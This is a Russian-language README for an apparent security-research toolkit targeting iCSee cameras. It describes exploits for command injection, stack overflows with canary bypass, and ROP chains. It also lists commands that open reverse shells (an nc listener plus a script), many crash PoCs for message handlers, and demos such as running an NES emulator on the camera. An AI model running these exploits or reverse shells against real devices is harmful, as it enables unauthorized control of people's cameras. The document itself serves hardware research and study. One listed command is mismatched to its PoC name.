
Это набор инструментов/PoC/эксплойтов для камер, использующих приложение iCSee. И да — он может запускать игры NES!
Это набор инструментов/PoC/эксплойтов, которые можно использовать для видеозвонков камер iCSee через локальную сеть (а возможно, и для камер без видеозвонков). Это можно легко использовать для прошивки альтернативных прошивок в качестве замены метода обновления через SD-карту.
Примечание: Любой эксплойт повреждения памяти будет работать только в том случае, если версия прошивки вашей камеры — V5.00.R02.000949U5.10000.141324.0000010 или V5.00.R02.000807E5.10000.346724.0000010 — эти эксплойты полагаются на фиксированные смещения, которые меняются при каждой сборке прошивки.
[0] Разведка, разбор и извлечение прошивки
[2] Поиск бесполезных целочисленных переполнений + несколько полезных ошибок
[3] Смерть от переполнения стека + забавы с канарейками
[5] Другая камера, то же приложение
[6] Подтверждение + полный эксплойт повреждения памяти на второй камере
[7] Эмуляция игр NES на камере
pycryptodome : Для шифрования входа RSApwntools : Для шелл-кодаpyftpdlib : Для FTP-сервераpynput : Для ввода с клавиатуры NESget_system_infoИспользует метод get_system_info для получения информации о камере через порт 34567.
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logsИспользует оставшуюся текстовую функциональность для извлечения журналов с устройства (журналы оказываются в FTPTestDir/Test).
python3 icseeu.py ftp_get_logs
gdb_revshellЭксплуатирует уязвимость записи файлов на SD-карту и уязвимость выполнения бинарного файла iperf, что позволяет удаленно выполнить бинарный файл, находящийся на SD-карте, чтобы получить обратную оболочку и запустить отладчик GDB, который подключается к основному процессу App.
Терминал 1:
nc -l 1234
Терминал 2:
python3 icseeu.py gdb_revshell
Терминал 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Примечание: Не останавливайте программу более чем на 30 секунд, иначе сторожевой таймер сработает, и процесс App перезапустится!
Примечание 2: Возможно, вам потребуется изменить жестко заданные IP-адреса в полезной нагрузке (GDB_Revshell/remote_mgmt.c) на IP-адрес вашей машины в локальной сети и пересобрать полезную нагрузку.
gdb_revshell_injectЭксплуатирует уязвимость записи файлов на SD-карту и уязвимость внедрения команд iperf, что позволяет удаленно выполнить бинарный файл, находящийся на SD-карте, чтобы получить обратную оболочку и запустить отладчик GDB, который подключается к основному процессу App.
Это полезно для устройств, на которых уже присутствует бинарный файл iperf, что препятствует использованию другого метода.
Терминал 1:
nc -l 1234
Терминал 2:
python3 icseeu.py gdb_revshell_inject
Терминал 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Примечание: Не останавливайте программу более чем на 30 секунд, иначе сторожевой таймер сработает, и процесс App перезапустится!
Примечание 2: Возможно, вам потребуется изменить жестко заданные IP-адреса в полезной нагрузке (GDB_Revshell/remote_mgmt.c) на IP-адрес вашей машины в локальной сети и пересобрать полезную нагрузку.
iperf_inject_exploitЭксплуатирует внедрение команд iperf для установки обратной оболочки.
Терминал 1:
nc -l 1234
Терминал 2:
python3 icseeu.py iperf_inject_exploit
Примечание: Возможно, вам потребуется изменить жестко заданные IP-адреса в полезной нагрузке (Revshell_Inject/remote_mgmt.c) на IP-адрес вашей машины в локальной сети и пересобрать полезную нагрузку.
Это эксплойты для второго переполнения стека в обработчике сообщений типа 0x7d8. Это переполнение интересно тем, что позволяет обойти стековую канарейку и получить выполнение кода.
Вам потребуется собрать полезную нагрузку диспетчера, прежде чем они заработают (выполните make в каталоге PayloadDispatcher), и полезную нагрузку, которую вы хотите запустить на камере, выполнив make в соответствующих каталогах (например, ImageDisplay).
Примечания:
screenflashДемонстрирует, что у нас есть выполнение кода, мигая экраном.
python3 icseeu.py exploit_goke screenflash
rgbДемонстрирует, что у нас есть контроль над экраном, мигая цветами RGB.
python3 icseeu.py exploit_goke rgb
imagedisplayИспользует запись файла для загрузки сырого изображения RGB 5:6:5. Выполните ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw на изображении в каталоге, чтобы получить файл image.raw в каталоге ImageDisplay. Изображение будет отображено на экране.
python3 icseeu.py exploit_goke imagedisplay
buttontestДемонстрирует, что мы можем считывать состояние кнопок: мигает цветом, когда обнаруживается нажатие одной из кнопок.
python3 icseeu.py exploit_goke buttontest
pongМинимальная реализация игры Pong, которая демонстрирует, что у нас есть контроль над экраном и передними кнопками, а также демонстрирует немного более сложную полезную нагрузку.
python3 icseeu.py exploit_goke pong
nesПеренесенный эмулятор NES, который может запускать rom.nes, помещенный в каталог GOKE_Payloads/nes. Выполните make в GOKE_Payloads/nes/smolnes и GOKE_Payload/nes для генерации бинарных файлов.
python3 icseeu.py exploit_goke nes
Это эксплойт для переполнения стека на другой камере без стековых канареек, но с NX. Я написал ROP-цепочку для поворота стека и выполнения большой ROP-цепочки. Эта ROP-цепочка отображает исполняемую память, загружает содержимое файла в память, создает поток, который выполняет его, затем восстанавливает состояние стека и продолжает выполнение.
Вам потребуется собрать полезную нагрузку, прежде чем они заработают. Выполните make в соответствующих каталогах (например, ImageDisplay).
Примечания:
screenflashДемонстрирует, что у нас есть выполнение кода, мигая экраном.
python3 icseeu.py exploit_xm530 screenflash
rgbДемонстрирует, что у нас есть контроль над экраном, мигая цветами RGB.
python3 icseeu.py exploit_xm530 rgb
imagedisplayИспользует запись файла для загрузки сырого изображения RGB 5:6:5. Выполните ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw на изображении в каталоге, чтобы получить файл image.raw в каталоге ImageDisplay. Изображение будет отображено на экране.
python3 icseeu.py exploit_xm530 imagedisplay
Более подробная информация об этих доказательствах концепции (и их основных причинах) содержится в блогах в верхней части этого файла readme.
integer_underflow_httpЭто PoC вызывает сбой из-за целочисленного переполнения вниз в HTTP-сервере.
python3 icseeu.py integer_underflow_http
iperf_runЭто PoC выполнит файл, хранящийся на SD-карте по пути iperf/iperf (либо ash-скрипт, либо бинарный файл).
python3 icseeu.py iperf_run
iperf_injectЭто PoC выполнит команду reboot через внедрение команд; файл iperf/iperf должен существовать на SD-карте, чтобы это сработало.
python3 icseeu.py iperf_inject
assert_trigger_0x41aЭто PoC вызывает утверждение (assert) из-за большого выделения памяти в обработчике сообщений типа 0x41a (вызывая сбой).
python3 icseeu.py assert_trigger_0x41a
integer_overflow_0x41aЭто PoC вызывает сбой из-за целочисленного переполнения, которое приводит к странному чтению за пределами буфера в обработчике сообщений 0x41a.
python3 icseeu.py integer_overflow_0x41a
stack_overflow_0x43aЭто PoC вызывает сбой из-за переполнения стека в обработчике сообщений типа 0x43a.
python3 icseeu.py stack_overflow_0x43a
stack_overflow_0x438_1Это PoC вызывает сбой из-за первого переполнения стека в обработчике сообщений типа 0x438.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x438_2Это PoC вызывает сбой из-за второго переполнения стека в обработчике сообщений типа 0x438.
python3 icseeu.py stack_overflow_0x438_2
stack_overflow_0xdacЭто PoC вызывает сбой из-за переполнения стека в обработчике сообщений типа 0xdac.
python3 icseeu.py stack_overflow_0xdac
stack_overflow_0x5a4Это PoC вызывает сбой из-за переполнения стека в обработчике сообщений типа 0x5a4.
python3 icseeu.py stack_overflow_0x5a4
stack_overflow_0x414Это PoC вызывает сбой из-за переполнения стека в обработчике сообщений типа 0x414.
python3 icseeu.py stack_overflow_0x414
stack_overflow_0x410_1Это PoC вызывает сбой из-за первого переполнения стека в обработчике сообщений типа 0x410.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x410_2Это PoC вызывает сбой из-за второго переполнения стека в обработчике сообщений типа 0x410.
python3 icseeu.py stack_overflow_0x410_2
stack_overflow_0x5a8Это PoC вызывает сбой из-за переполнения стека в обработчике сообщений типа 0x5a8.
python3 icseeu.py stack_overflow_0x5a8
stack_overflow_0x41eЭто PoC вызывает сбой из-за переполнения стека в обработчике сообщений типа 0x41e.
python3 icseeu.py stack_overflow_0x41e
stack_overflow_0x7d8_1Это PoC вызывает сбой из-за первого переполнения стека в обработчике сообщений типа 0x7d8.
python3 icseeu.py stack_overflow_0x7d8_1
stack_overflow_0x7d8_2Это PoC вызывает сбой из-за второго переполнения стека в обработчике сообщений типа 0x7d8.
python3 icseeu.py stack_overflow_0x7d8_2
stack_overflow_0x8a6Это PoC вызывает сбой из-за переполнения стека в обработчике сообщений типа 0x8a6 (присутствует не во всех камерах).
python3 icseeu.py stack_overflow_0x8a6